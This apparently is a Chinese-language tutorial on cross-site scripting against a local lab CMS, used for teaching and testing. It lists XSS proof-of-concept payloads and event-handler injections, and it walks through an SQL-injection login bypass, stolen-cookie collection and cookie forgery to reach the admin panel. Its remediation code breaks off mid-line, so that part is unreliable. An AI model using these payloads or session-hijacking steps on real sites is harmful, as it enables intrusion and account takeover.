跨站点脚本(Cross Site Scripting, XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web 应用程序中执行恶意脚本。当web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。
跨站脚本攻击,XSS (Cross Site Scripting)。由于与CSS (Cascading Style Sheet) 重名,所以就更名为XSS。
XSS 作为OWASP TOP 10(2017)内容之一,主要使用JavaSript
来完成恶意攻击的行为,JS 可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS 攻击“想象”空间非常大。也就是说,JS 强大的灵活性和功能,为XSS 攻击提供了非常广阔的攻击面。
XSS 通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。整个XSS 攻击过程,涉及三个角色:
服务器
攻击者
客户端浏览器用户(前端)
搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险。
等待受害者访问被注入恶意代码的页面,很被动,盲打。
XSS 攻击目标是客户端浏览器用户,由于浏览器的类别不同,攻击效果不同,甚至于同一款浏览器,攻击效果都不一样。
可以使用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做POC(Proof of Concept)。验证XSS 漏洞存在的POC 如下:
<script>alert(/xss/);</script>
<script>confirm(/xss/);</script>
<script>confirm('xss');</script>
<script>prompt('xss');</script>
非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中,例如搜索框的反射型XSS。
注意到,反射型XSS 代码出现在keywords 参数中。
http://127.0.0.1/cms/search.php?
keywords=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&button=%E6%90%9C%E7%B4%A2
容易被发现,利用难度高,很多漏洞提交平台不收反射型XSS 漏洞。
持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。
危害面比较广,漏洞提交平台会接收此类漏洞。
DOM 型XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行,并不会将payload 上传到服务器,这也使得DOM 型XSS 比较难以检测。
注意:
<img src = https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u=2866847033,2297252904&fm=26&gp=0.jpg>
<script>alert(/xss/)</script>
可以通过URL 载入资源的标签
伪协议不同于因特网上所真实存在的协议,如http://
,https://
,ftp://
,
而是为关联应用程序而使用的.如:tencent://
(关联QQ),data:
(用base64编码来在浏览器端输出二进制文件),还有就是javascript:
我们可以在浏览地址栏里输入"javascript:alert('XSS');
",点转到后会发现,实际上是把javascript:
后面的代码当JavaScript来执行,并将结果值返回给当前页面。
<a href = javascript:alert(/xss/) >click me!</a>
<img src = "javascript:alert(/xss/)"> <!-- IE6 -->
XSS 攻击的是浏览器,受前端影响比较大。浏览器的类型,版本等因素都会影响XSS 的效果。
Cross-site scripting (XSS) cheat sheet
事件类型 | 说明 |
---|---|
Keyboard 事件 | 键盘事件 |
Mouse 事件 | 鼠标事件 |
Media 事件 | 由多媒体触发的事件 |
Form 事件 | HTML 表单内触发的事件 |
window 事件 | 对window 对象触发的事件 |
<img src = '#' onmouseover = 'alert(/dont touch me!/)'>
<input type = 'text' onkeydown = 'alert(/xss/)'>
<input type = 'text' onkeyup = 'alert(/xss/)'>
<svg onload='alert(/xss/)'>
<input onfocus=alert(/xss/) autofocus
cms 网站搜索框存在反射性XSS 漏洞,POC 如下:
<script>alert(/xss/)</script>
尝试在代码角度,对XSS 漏洞进行修复:修改 /cms/search.php
文件,对$_GET['keywords']
进行过滤,代码如下:
$keyword = $_GET['keywords'];
// $keyword = str_replace("
利用==万能用户名==的方式进入后台管理员界面,密码随意输入
li' or 1=1#
可以看到留言的消息
然后去XSS平台上看看有没有窃取的Cookie信息
cookie : username=li%27 or 1%3D1%23; userid=1
来到登录界面,F12打开控制台
document.cookie="userid=1"
document.cookie="username=li%27 or 1%3D1%23"
访问cms的admin目录
http://192.168.80.139/cms/admin/
成功利用Cookie欺骗进行登录